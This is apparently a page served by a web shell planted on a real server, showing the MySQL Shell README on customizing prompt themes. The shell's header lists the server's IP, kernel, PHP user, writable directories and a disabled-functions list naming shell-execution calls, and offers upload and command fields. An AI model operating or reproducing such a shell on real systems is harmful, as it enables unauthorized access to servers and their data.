403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.119.125.61
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/local/ssl/local/ssl/share/mysqlsh/prompt/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/local/ssl/local/ssl/share/mysqlsh/prompt/README.prompt
You can customize your prompt by copying over and editing one of the JSON
files in the shell user folder:

Linux and OSX: ~/.mysqlsh/prompt.json
Windows: %AppData%\MySQL\mysqlsh\prompt.json

From the sample prompts, files ending with _nocolor don't use any colors or
text attributes.

Those ending with _16 use 16/8 color ANSI colors and attributes.

_256 use 256 indexed colors which will work in most modern terminals, like
most Linux terminals, macOS an Windows 10.

_256pl will, in addition to the above, use special Unicode characters in the
prompt. You need to use a font patched for the Powerline statusline plugin
for it to be displayed correctly (you can find it easily by searching for
powerline fonts).

_256pl+aw uses some special icon characters from fonts patched with
"powerline" and "awesome symbol" characters, for example:
SourceCodePro+Powerline+Awesome+Regular.ttf

_dbl themes use one line for information display and a separate line for
the input prompt itself, allowing more information and typed text to fit
at the same time.

File Format
===========

Prompt theme files can be configured in ~/.mysqlsh/prompt.json
The theme file is a JSON file with the following layout:

    {
      "segments" : [
        { "classes": ["class1", "class2", ...],
          "text": text,
          "fg": color,
          "bg": color,
          "bold": bool,
          "underline": bool,
          "separator": "char",
          "min_width": integer,
          "weight": integer,
          "shrink": "none"|"truncate_on_dot"|"ellipsize"
      ],
      "classes" : {
        "class1": {
          "text": text,
          "fg": color,
          "bg": color,
          "bold": bool,
          "underline": bool,
          "separator": "char",
          "min_width": integer
        }
      },
      "variables" : {
        "variable": variable_def
      },
      "prompt" : {
        "text": "> ",
        "cont_text": "-> ",
        "fg": "32"
      },
      "symbols" : {
        "ellipsis": "...",
        "separator": "-",
        "separator2": "-"
      }
    }


segment_array
-------------

A JSON array containing the definition of a prompt segment.
A segment looks like:

    {
      "classes" : ["someclass", "%variable%"],
      "text" : "Text:%variable%",
      "fg": "#ff2211;1;red",
      "bg": "#1122ff;2;blue",
      "weight": 12
    }

Or for a linebreak:

    {
        "break": true
    }

- the class list can be used for dynamically selecting
the content of a segment. The first class in the list that
exists will be applied. Variable substitution applies.

- weight tells which segments to hide when there's not enough
space in the screen to fit everything. Higher weight values are
hidden first.

- allowed attributes are:
   - bold  makes text bold
   - underline  makes text underlined
   - bg background color
   - fg foreground color
     fg and bg can contain one or more of the following, separated by a ;
     - a color name (black|red|green|yellow|blue|magenta|cyan|white),
       supported by most terminals
     - 0..255 color index, for terminals that support 256 colors,
       like most Linux terminals or Windows 10 and Terminal.app
     - a #rrggbb value, for terminals that support TrueColor colors,
     The right color type will be picked depending on what the terminal
     in use supports.
   - text text to display. May contain variables.
   - min_width Minimum to allow shrinking the segment to
   - separator Separator character, if overriding the default
   - padding Number of spaces to use for padding around the segment text
   - shrink one of none, truncate_on_dot and ellipsize. The method to truncate
     the text if they don't fit.

Supported variables are:
    %mode% - mode of the shell (sql, js, py)
    %Mode% - mode of the shell, capitalized (SQL, JS, Py)
    %uri% - URI of the connected session
    %user% - username of the connected session
    %host% - hostname of the connected session
    %ssh_host% - hostname of the SSH tunnel server or ""
    %port% - port or socket path of the connected session
    %schema% - default schema of the SQL session
    %ssl% - SSL if SSL is enabled for the connected session
    %time% - current time
    %date% - current date
    %env:varname% - environment variable
    %sysvar:varname% - global system variable queried from MySQL
    %Sysvar:varname% - same as above, but do not use cached value
    %sessvar:varname% - session variable queried from MySQL
    %Sessvar:varname% - same as above, but do not use cached value
    %status:varname% - status variable queried from MySQL
    %Status:varname% - same as above, but do not use cached value
    %sessstatus:varname% - session status variable queried from MySQL
        Variables queried from MySQL are cached when the shell is connected.
    %Sessstatus:varname% - same as above, but do not use cached value
    %linectx% - context for continued multi-line statements

    %trx% - set to '*' if in a trx, '^' if in a R/O transaction
    %autocommit% - set to '' (blank) if autocommit is enabled, '.' if disabled
    %slow_query% - set to '&' if the last query was flagged as slow

prompt
------

Details about the special prompt segment. The prompt segment
will normally display the string in "text", but if it's in a
line continuation (eg when you press enter after select without a ;),
it will show "cont_text". By default, the prompt string is "> "
and the continuation string is "-> ".

    "prompt": {
      "text" : "> ",        # string to show in prompt
      "cont_text": "-> ",   # string to show in prompt when editing a continued line
      "fg": "32"
    }

classes
-------

A JSON class_name : class_definition map, where class_definition can contain
any attribute that can appear in a segment definition.

    "classes" : {
        "redtext": {
            "fg": "red;1;#ff0000"
        }
    }

variables
---------

You can declare custom variables that can be used as any other variable.

Example:

    "variables" : {
        # set the is_production variable to "production"
        # if the %host% variable is contained in the PRODUCTION_SERVERS
        # environment variable, which is a list of hosts separated by ;
        "is_production": {
            "match" : {
                "pattern": "*;%host%;*",
                "value": ";%env:PRODUCTION_SERVERS%"
            },
            "if_true" : "production",
            "if_false" : ""
        }
    }

Variable values are evaluated once on connection and are cached.


symbols
-------

    {
      "separator": string,
      "separator2": string,
      "ellipsis": string
    }

- separator is the default segment separator character
- ellipsis is the character to append to a ellipsized text


Youez - 2016 - github.com/yon3zu
LinuXploit